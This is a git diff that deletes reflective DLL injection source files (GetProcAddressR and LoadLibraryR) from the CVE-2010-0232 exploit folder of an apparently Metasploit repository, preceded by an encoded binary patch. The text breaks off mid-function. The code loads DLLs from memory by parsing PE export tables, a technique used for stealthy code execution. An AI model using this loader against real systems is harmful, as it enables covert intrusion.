zW(y5qaP|nDR?L|b-bp^IYC7tITVp)as80oS>-*Dw2a|&Vw3~Z9RUsjOznf>ZG}1M3 zaI_e=iH%X}ooX2y7MB~^SRiems;pBhpQh-npRgw*ohzHFvalk*iN9^1;Cx09J{hoJ zO^v|5^M-`1{5&te=Q_WdCcgXa{C-|$M!c7Y_maI=S8+g%4gk{y6s|QRNx&MNg@#1q zOQ3_x_v*f<7EB+bw=41M9A(t2W(ZL5@UlWr{5{1T^l3!jS9$rJD)ap981v1e3JvFSWE{=7i+J*{!v5#HO8n1%dUgWvE~?F`;z-E>2`pCa-&vVjSb@Tlb- zp{G>%K9TVDrUJ{u(x3;uJKYf1+`!hMoXPI%ru(AjtBIwwW3CGBp57x3^P!hmlH1hX zTvhaxGfjAi7#j1H12~;=#m2Uj;p5TqzUc9I_4DNpdCBqRj`a0-_vH+yW$=Bg707X4 z*#)SO5KS;}$39)R33T+}CdM{b@i!rj=pf^=0F6#gdadwj1cx6pl;T%C!6N~YUQR;! z`F?Iu;ml@2lQRi{)`%Zi04ArJwvbRI2&0>KC>8;)1S2jx2`xWEQf%L{+;!DU}D6Jy6@

r1}3ispYSP1QVznfidu8 z)Wu-G70C|p(Mu2{x&`ob?wAYig5sR^c>sf~5st#$POAdEt^KaCrk-OVyfk8xz#sjF z5#GD>kieimy9hq;VSy0Mta@rdfj+umJOn`nW|1#l3wPYdy*QF`Ls@SJJYEDaKIH>> zXK`s?4tLCRJ0STBzo!41CU-!ax(gba0Q2TC!O8Bj17p#NN+ih5lC z_vHT>2!5VQCZ<*WWj40cAoOn!$L-|B;FhuD|GVI~6cHYff?j=aZ5(-O`sG zCoiMhcXf4n%5`fdPBA86x%ncWumQXnYqlhqP*Pv@srQDy2F)))p$m;71v60=Bnk1* zL?TeM*3-#9@D2q=uoWr?aZCvlisI+eVW@@b_MCZ#0I9D_qppe67tJGS@hM&h<#SiX z+my(SiW3KmJq})ToeQOoLT5~RD*WbBS%2>>>z3gYD{3wzsthRc3&eP35p~Dfsf~n+i%|-kHE~nUmGc!Ag%MkzOoZ zW~y9b8rXxW{acRKtcm7cmv>TLWD4cW zV56uQDQ%XmhkttT0QJA|Pq9+qB1by0jsH3AX>K4O#{Z4@%i0f%L4QYMbZVaP; zYl6QE;Bn_B{Lz$7XoAHv1|pls;E-OF9Ixhp>rdm=%%oBxp`y7?{`S7v!XG0M8*@o7 zHjm>x-15wMx%NIW;q?060N^0>04z934~#!jLtHO1oxTX%zs{F7`0X8=bsAE&Yx!iP z>VKi8+r+=dwNCC782}{PKfZiwF%($d>~<+K2ujMtkoQ- zu-EFHP>;D_!G2m_@dg2Z(&;VW`4|aOg~xki?H~*M3q*1?^*RYTIzi|Be9{3m455x) z{Ur6H>!5`kbAU;WWABn9xK+&?;~W#odD_!Sjf0{j2A0=7!iR*{?_G#7Yc)9Ar4sDb zm{SCXDnxJry65N;YL&pJL6Igff37s#+y zp*{dpm`k&M{KX7AxXDE8xS*}C7%7TTOe7+B%tTWM&DOAeu!*75a*7G+lh^f^17UzcLO3o>BO&5Y@Hep+|AcEu4e-hDVXdie2?&-Cj3I@|D9E zopu4D6>pRX5O*%88@xaaM)jDg*);EfJ%-~<<6l0`XG_I+kzpLGr8nXY7Wzh3q5&71 zSmyGe9H|^_1vt0s+~~G_*2OSb7(CB&W__6VM>O-X$=1e686$RfX>2P}XX|!x#OYZl z`y?tLZOdM_J~qFqJUL~5~p7EK!f*U#_~H~g@meP65Y*AwNG{3;~e&7;e}EK@J&eFY^5YjZWod6 z!vw!Vx$_%^n;B=+>BI^O$}1xU@XnfzbOS65r?nMCaJ4Nrs<8iZMR`Ai3wc5z0YdTQ zo27;u@Xc8CwIt!)IL*tPK`c^05C&d%ZW*O|0MaeAVg09C?@d>NaBP3qH%aAiFXCx7 z7NJ#yzQ5ip5EzfgR0tfzpJQ9FV0V*DEZa?@@t|~Y*7i+lI^~FSEOV2li}nlz=bf@f zzOKk7PR#c$g@BG!LTIXGN3_f^L^VBSo7D}{Z_L0<)b|fI=HS7qH|*;p`m9Dh?;!}( z+=Oe1BP_Cnpy_ z-eui;K`agQi3Bdp4m7sS%Y&9S<;!~W=dHcNRDD3nCo22VvgX>Dn$ZqD-!u8<;`3tv z+=RSyGFa7rC&wxr_ZLQY_NeR%QvL#ose~Wvs`sq6{+-Wrgh`*olKWzlwv+ktqzny^ zO_Y?ZA~H&KTOF^E3GM2d5EyNls7BoJrX%`k`49v5|Y%- ziosy}pd$uEyEEihJ8E@%;YLS}WP6+J}=M3Ht4mC4N|gB5gGo|D&iw#tOggF~^q zqODzgfN6;-#%`mW;o-;0L!=to<`sSk?0B0Tb{EASOj2zzqQ=fmuLRZb2_w;hFWd=I zI+tsA5&6z!Lggk$jVD`d?>PL8Vfsz320eJt6Z{)DK7!xCTUZYpQ%=@iM+_S(V6XG` z2}1&tUk$NZDk*gqiaDDTypM<6qqmLJY!H!nl{x(uDu0)+vV4eO7T^G#k*wvian)rR zAJ^K8V8R;c;shBj(97x|zwF-4M~J|oiG;|WmqWg)sPD*Ye78oAD=z#@Tx9F(_Hd$Z z+o68Fdll0KJk?D2C)TO0;H7=*$jc_uqiMwsM2kiey#H97llj2#?U+qKX0^T1>F>X! zb6|KDb}@M<-#vOD;Fuz1`b2R2jon``2cGjPU|`M7x4tM+UsErKbX+PoN#x8ZG>_7` zlsRb2WrOC|q|P2!1WGAt_K1BNV~~RJ95eCyprMn@LaF!lyT~{bnI~i1;O>Sy1de%1 zKtM*eVqX-8xTmZo9zuW|vC&;RBqwkgGlg5%-~T=@f{xQA5z$uo^0*n}!v8A7!QWyO zg={W+cm&%jRU--xcDz}m7;?qqmtSzA5u1aDur^Y(tX5zXLOzNPdXndg7C)gV#+?X| z6vrDEQD)z}{n_K98p)gpWNw7vZ4@Hz3RrKH<~JdG!Mrb*7WQ&zSi5#$y3rI7`gMNw zi!;C%V=fMs_Lr?@>n%}e2ND0PWqSOLN2pRowpNxVB7i1wD^BB2z04TC3@l6^24GOR zFK#NZmW0ggwo-ZECA-w*-XXsY^}gquZDldy$f#m5K(q3<(hchJFQ$6gWAmo+PuXUN z-^EPklz3>-VwNYVOSG61IMnZ{h^x5dC0*A*?=N9GnYV}n&bUMLcz3R(u)YRk(!&in zjd1znz^yb@w1nBblA73y9)v2z?f1}umCy?`a47f4uk*w~>^xM0i@3BwzxBQ}{qdN@ z{PLddp@enbq>#cFU{Z6!slXU^#5ngDB36G%GinBwAs{y(w#ibA_X_;gv zw#%gc`rzLI2jx0A5srN)oG+5@E+KTT z$Ss08MMqtqm8cY+fTbW(#CxqEvq;f2qCZZefV0y8%_ zTf&Yb#aulExbYlTF~Msp+rkn*$lbPpqJkM?SundHe6-&ex^*xMvJMdYYuwIZ=7b2MPgKgMH2tVKs-4f4vnbm7dKH#X}Rb=%@6 z)-V=vB^(JhEv7no>2{z z$fr6BYa}M2gFaVSViZX;{1>1HM~A3mySN=OF84HD&77>a=Qm@?KV`n=U-wrd>$TL`mMeJFZ%t>^pcOJsy zGRaj-)f(v!n@q>%I^v{NVJC#j3#9%l`GJHDq)Bcp(W@*T%xc-|(nJ0x$S~W#olG+K zTNS~eWDg(17}HH-+XHilL+1(gjSz)?rX(($nz8se?pj2$=VsN(f4HnR; z?zp2cvev84+C6e5QD#rP5%$-s5TMa)hZKAu+HB#bPCgx1$=Y7u%MhqjU^!(LneywC z?ct_Eq`)oIVBpma=(G@tXaBVBmQr6=KxnOIY--0x%X}b%*3_3qJY=7*)Zk@6F!}gU z3!Ai;aw^S~j)C^-e#&xf1}bqT=kgAsiGTBhcc}5w-{&c@X5mc-(tE^djroE{@#yUG z3mUa2MP6=wgnWefD}79gjhkvga?fU~L0D%96;J0SJGC$qBRJ-FyR$;9^2^`$-!Ykd zdJd7=B_S-7U&+US_R+%Nv=ozVAv=_hKlxK}%1UbG>69Y~gcENgsQ$U^eC7M7h@qO< z*PorUum2oc>7?1^@|bq}OrKcJB~6dGQ5pTl7MC%T?UC}{RmW{ev*)H9isj&&9FW&E zRjnLz=c84t)W09E8E0QC%9kokBuoW=I=9krmIfit|J7ppG*X45;VZ5Dcf^=K7o|qn zfGmGiFVy?XjQZ8TK2a~^2jZvq)UV5w!z78@zmG~qv;RH;KNf0I;R)1J9rmeepMb&=1VN_C&}n!d70p07>I&t z>NuB%@>e$*Wa*uZGhNsD$te;kB`bYx&ayC~L9pzq#YwKF*}h7+)Li5J%uH1NwcVqV zIN1=p%~9yZiCQy7F5bkgvvSm%K4_K7IIZCcYN_a`Pnqy^cG{#26y1Si_ijs-Sifpcj>_Mw{i;ss$7ePqeXPzv23NBF@~Brmavo2?R3v0Z8&Ao5 zhv>H7!h$NfJD2H>eLB%scTqh>01frDXX6zeB(FzFZq)-;R{@iwfcQ(jW;qDv{RYh= zR3R!jzqEPA>*sexWe8U+p4&U_$OgO~o-xm^EE`O9i{nb15yLet?UyROt}~J~G9T5U zo0{|!^8=|I-%E3!qSps5z(u+a4yHxFOdC{bWm0|68ownYbXOfD04ba z_VF~`#v^Hs!9khLuChLj`&hknTj<*z?3N3l4(x;BWg=}wi^&sDUx@@PKuN(?Re2G!Jk(-jPQn9+D6@KXd(GS z>vAY~b^HecsAI;_9|;Hv6;hte=kT&2c)5~!lQ<#98vHWRX?^wg%D_e$GJ=2qKAx+j zCdm%S2~k9c%SVIJJpxXkXrO$0K%aEaM)P)y94EWg2Hcki1%=M>!g%%NBKk}d8M&h* zk-=JGYfcm9BYh{y^b9hDWbUU5h@XLgWQWA%(vq6=kH2Ug4W1Mh7!qsGo?_f0NtNe| zPDm3vV|0FD`y%BwQ7G$*17DEPQWJ^G2lyNBBxi--4=I`=ef;jfU$CVL3eY0>LldMH zicbBOatanzM~qk=R8-Uxy^ReKLP8ok$e>B^W?%QzlSni`VXh^9xn@=?>3|$omQx$} zFXf&tAW|ksDg;qSI|E=;UN@V=2D&DMq-P|H)uz&#c8V7 zPA{~yy6NU$M*flyalV>Eo3C^y$dAG*U3c?gJ&f@7g2sdl%4(9onVZ*T`wCf5 zC~wV-JYJxjc{Xcb#^VgVnOfZJ+$D0URgQ9kOR}i2`ttREh)A5&LBF$z;OHC)-`>AE4b@RwMDRNarVSHYxDmn{xuiO9haMriolqSX^@ySiJFw5#}e`Ldz_l6pbBMfT6Ssid?D6%t( z4%ZB@(7K31mpI1y4S5)^9Y?ob?T{=}PE2ZB*lH;Hy8Kcn?NR1XO}-Fw;t#Fzp2cu?rC;L_Sn40M!@Y75dc@ayJ* zvB%&N&MY9Ad58dWz#~ikiV|Y0d!^l5siOi-^0AO~xTtRGj_*zZdr zJP!t^>5824XnKn>f%XMD7I-qy?feD{EQtXA1QehpwOzPF%K(hIZrH*@V{mB30mnJh z^Wf2?)-=m~@xx$dlQ=SX{05hW!LLn1Fam&}0eOgKxbUuN#LB70#e+>1$GycZql~^`Y6t`Hr4#Ib!JpcWiSNP+hD0;C+qtWF!#xknR2ryfoh;8-+Db+cSgZDSo1{osD zK8q9bWH0fz0+LfC*on81JU>DQe75`N7VNqYPNQ>jh zsgES8Z=bjuSv&`Mg30I8hPYR{&f2 z;%-)As4U_G0yc)M-)eHsf!jYH+V&ycsZ8`}h=0c^0E2a=hX(QVtMhCNW$g}h{1P`+ ztC-lR&-}(!*%7(ifjsa!cU414L=xGB)`x#^V-_w7p%;m0!!QIC{RXUyG z+UsoKkc_aB#?~X~`rom7A{0(~TuVhQ(#$&@>@tlEwv@#_dqAym>%3X-qG|1daPL8h z)o0<7LMQu;d4Sk8@6k_LqXsJ^(UTI1SMw|7*vpNF9UQlfG4x6fAau6}y^co;R`pmX z(LX}m_N|BD>xiROXh$e-jY7fmXE!MgQrSARgWeFd!V=AY0cf>{ma*}PRy5%4-T$rY zZ*GxcY{if4J+y*YQ{KN~Z#LZp6dSoN{6*BqqaLO|C67EmU3qb#`RZ82`oeo~oZPp{ zDzZe6{Z~wF@-=-w3r~CPlWZH|C1=Ks`i+>qV`$swciETU2%10?1Xn?cU>V^GTwcI8 zFd6=()TvdBKQq1^mQ@+63Se7(D0jJiUfk}p+$@{COAa4j8f4(Vac@8n_m=Z%Z@o-z z8LC@bv>L>7YUOM8oM53V1WoBWG~AM9zls@i?YHca>rgE+#y++?PRYLwzY$Ky@bsp4 zOrFd0G!~Iu;Id7lFP(?F@>|T6*{VQo4cC#1VhMM0pnYFOn&x_CJwK;{P=o=4$I;>1b#0 zKfuhsAM@9_p1ji^vzQ-1^M~>CzXC%4Yp!HsU@T`s@8sr`6eIT^C^O_H7!dkG-dIbO zU8uexBE+Bs7GvqMEIT$5FN^bWBiBqlpTU@7knJuI9fErPNN`Brwi_%i^XFA|RWpJr zL|I22OJvZ~l&AK)m&`b5AJ;zRSXn-(-;gM=keGuTa>tnS)uv5@J~{*dq>x8Q*^I`1 zs%r-1DJdr293)>9TR`soF?&Y-q*hRyLCbYNA0QUFHlx;c^ygITVpr3Lfik4&E!3#W zu1U*4Jz@g~Xr|Ig(g3Z~VZ3YTz$5Bo>KOQAhDu3#6_K|CJG?O%IjvbbNs0UAVf}0u zO~>AO`5gAYf9IP&=;K0VJ)GfBu!4TjU*`XR0sDVJ%k+*`HdXN*@&k-$At&PFJQ@a6 z7WiCc%JKfh>R3RkQDBbioJn#2Xn4wErE?nHFbXL1_UuPgF$1urkxWDvrECIL7lDtrh$P3McQEik3(67 zYHMdl{!E^%=&o}KoP|B;4Yu*~Hq%57urby|A|?#ZE-GK$#v0j0!%|jaB+I8kVKRl= zA)8$CD$~yR{PPe0(g-p{o;83|oMLuh8jIX0l6R&a6^{#7WM!XuC;oID`=BB6?9a_r zEc@{PwLNdPPj1_z^J0-$q_9s!m}pko&4QIXZ>cSP=b93xFPE2Lxhb?zKdUSFkcZmI zb$2>Lo0(q4{AWz>{>{oe{i@x$^JR(e3TOR$?R7Y*kl}-QouhAL-Xi-Qr6vClT`&DJ z=fiFG%<{EzX`U{wCl}fm`hAYAIa<8PO6b2*FMr&I(=Toz#n@xuT)#w6wDWQn2H+|r z1_o2oW2`K>peR4^bw(X@&7N$FiLBU!Ph&|K2{!or#5B&7PBf`NVjAWZm=R?d+(ZWnV=OI%tOUt?8E+ zowF-)_dEIQC^d`aidwyiVhdQKn`Bu|9XtB+>jgQD{n@iF=1H#ImbLZmvRg%4*4@hA zYQ5@qX6D~I=kn;X-`QzqVoE1%jtPD(+xeGuo?PpfVhvy0XqCxvftKw@re<_(=09JZ z^Tm3uoAG6bHCrd2ZcsB;JZvGI+jet7%f#xlU$Vd6Srlhzxl>4~Ad=zeia6P*rt>#! zrkWhwdRkR$)7sLU8OuJ~o2|a8cS*%dc($jD_LIvFmEY@>noNwHAGVjj*PdsjF3)vX z(chu%f$=Pdqc!s#UE@-A+-csrU{ckKJSNU#>ja)za6S1M&H3Qit|^_r{68*%?{<`yQJ<}SnMi)r>B1`eDbBIl2)9V2FHFKwBVcKvMj)Frb*g8i>Et; zH;6s3ec*JqXq`y^jgU)gY_5HJEuqXB$9Uqu(<-rPTzR+32Vi_J5#D>-idUba$JFw9N;%mT#jsHL0R$5j+>GSo^sc(9JFogYnc-!Hzt8~QXeAAD=XCK*i ztxqrTn$Uyo`W}DE+AEC1m)zK8vAI_}oaJcv-~AWjvivMq>(xK}&v{;{sHMj`TSZJu z|JeEM?SDjP9|+q&>&eo(DXT@i#kH7^b}Ky+lv%prfpv=6}5cvE4Se7yL0bei2a_u^m58= zjhE~n{94R6dC$^eJN5D7^G7~)>+W3b+q)^i>vL7wf39%li5D-|<^R-XOZDgBF1syy zn3YXiiJRwvl1fkVpB?UD8~2;1{7u_`Kku8#*6ZfETTQP z%Wo2T{%ESj^&>mDSAOC6%M3!HucwXybErP!n} zF(`I0F<3IF05yVu0+__vLhuOI4KOe;1s;x!RNcW>Qt1_>q;WxwU}TVBP^g{o+{5}L zql4(WcOZHKZw8nTaSE<=S}>;o3v!0ZKnG&C3$|(t**=5dEx+u6_890)$_3fSu&=P_ ztlmlB$Q#1zm}|Qr_A!FpeV(9wD6Y{D12HLp6Ee7m@0Pg?(=q|tW`3Jw1mQ zD-lg%WXlCM^ZWr>4xRU*51Ej%(;*68Nxu9_0aNOu2$QcuoGLf8ttGq&v`pQn6 t&Oo*(fWiF@ID2QOad`tR3dmUj&h`P`tZbm-iwg)Ju`n>K0~*J`008Ve&Uyd< diff --git a/external/source/exploits/CVE-2010-0232/common/GetProcAddressR.c b/external/source/exploits/CVE-2010-0232/common/GetProcAddressR.c deleted file mode 100644 index a88d1d946e..0000000000 --- a/external/source/exploits/CVE-2010-0232/common/GetProcAddressR.c +++ /dev/null @@ -1,116 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#include "GetProcAddressR.h" -//===============================================================================================// -// We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which -// wont be able to resolve exported addresses in reflectivly loaded librarys. -FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ) -{ - UINT_PTR uiLibraryAddress = 0; - FARPROC fpResult = NULL; - - if( hModule == NULL ) - return NULL; - - // a module handle is really its base address - uiLibraryAddress = (UINT_PTR)hModule; - - __try - { - UINT_PTR uiAddressArray = 0; - UINT_PTR uiNameArray = 0; - UINT_PTR uiNameOrdinals = 0; - PIMAGE_NT_HEADERS pNtHeaders = NULL; - PIMAGE_DATA_DIRECTORY pDataDirectory = NULL; - PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL; - - // get the VA of the modules NT Header - pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew); - - pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; - - // get the VA of the export directory - pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress ); - - // get the VA for the array of addresses - uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions ); - - // get the VA for the array of name pointers - uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames ); - - // get the VA for the array of name ordinals - uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals ); - - // test if we are importing by name or by ordinal... - if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 ) - { - // import by ordinal... - - // use the import ordinal (- export ordinal base) as an index into the array of addresses - uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) ); - - // resolve the address for this imported function - fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) ); - } - else - { - // import by name... - DWORD dwCounter = pExportDirectory->NumberOfNames; - while( dwCounter-- ) - { - char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray )); - - // test if we have a match... - if( strcmp( cpExportedFunctionName, lpProcName ) == 0 ) - { - // use the functions name ordinal as an index into the array of name pointers - uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); - - // calculate the virtual address for the function - fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray )); - - // finish... - break; - } - - // get the next exported function name - uiNameArray += sizeof(DWORD); - - // get the next exported function name ordinal - uiNameOrdinals += sizeof(WORD); - } - } - } - __except( EXCEPTION_EXECUTE_HANDLER ) - { - fpResult = NULL; - } - - return fpResult; -} -//===============================================================================================// diff --git a/external/source/exploits/CVE-2010-0232/common/GetProcAddressR.h b/external/source/exploits/CVE-2010-0232/common/GetProcAddressR.h deleted file mode 100644 index 6f4729dd5d..0000000000 --- a/external/source/exploits/CVE-2010-0232/common/GetProcAddressR.h +++ /dev/null @@ -1,36 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#ifndef _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H -#define _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H -//===============================================================================================// -#include "ReflectiveDLLInjection.h" - -FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ); -//===============================================================================================// -#endif -//===============================================================================================// diff --git a/external/source/exploits/CVE-2010-0232/common/LoadLibraryR.c b/external/source/exploits/CVE-2010-0232/common/LoadLibraryR.c deleted file mode 100644 index 88d5be96b9..0000000000 --- a/external/source/exploits/CVE-2010-0232/common/LoadLibraryR.c +++ /dev/null @@ -1,233 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#include "LoadLibraryR.h" -//===============================================================================================// -DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress ) -{ - WORD wIndex = 0; - PIMAGE_SECTION_HEADER pSectionHeader = NULL; - PIMAGE_NT_HEADERS pNtHeaders = NULL; - - pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); - - pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader); - - if( dwRva < pSectionHeader[0].PointerToRawData ) - return dwRva; - - for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ ) - { - if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) ) - return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData ); - } - - return 0; -} -//===============================================================================================// -DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ) -{ - UINT_PTR uiBaseAddress = 0; - UINT_PTR uiExportDir = 0; - UINT_PTR uiNameArray = 0; - UINT_PTR uiAddressArray = 0; - UINT_PTR uiNameOrdinals = 0; - DWORD dwCounter = 0; -#ifdef _WIN64 - DWORD dwMeterpreterArch = 2; -#else - // This will catch Win32 and WinRT. - DWORD dwMeterpreterArch = 1; -#endif - - uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; - - // get the File Offset of the modules NT Header - uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; - - // currenlty we can only process a PE file which is the same type as the one this fuction has - // been compiled as, due to various offset in the PE structures being defined at compile time. - if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32 - { - if( dwMeterpreterArch != 1 ) - return 0; - } - else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64 - { - if( dwMeterpreterArch != 2 ) - return 0; - } - else - { - return 0; - } - - // uiNameArray = the address of the modules export directory entry - uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; - - // get the File Offset of the export directory - uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress ); - - // get the File Offset for the array of name pointers - uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress ); - - // get the File Offset for the array of addresses - uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); - - // get the File Offset for the array of name ordinals - uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress ); - - // get a counter for the number of exported functions... - dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames; - - // loop through all the exported functions to find the ReflectiveLoader - while( dwCounter-- ) - { - char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress )); - - if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL ) - { - // get the File Offset for the array of addresses - uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); - - // use the functions name ordinal as an index into the array of name pointers - uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); - - // return the File Offset to the ReflectiveLoader() functions code... - return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress ); - } - // get the next exported function name - uiNameArray += sizeof(DWORD); - - // get the next exported function name ordinal - uiNameOrdinals += sizeof(WORD); - } - - return 0; -} -//===============================================================================================// -// Loads a DLL image from memory via its exported ReflectiveLoader function -HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ) -{ - HMODULE hResult = NULL; - DWORD dwReflectiveLoaderOffset = 0; - DWORD dwOldProtect1 = 0; - DWORD dwOldProtect2 = 0; - REFLECTIVELOADER pReflectiveLoader = NULL; - DLLMAIN pDllMain = NULL; - - if( lpBuffer == NULL 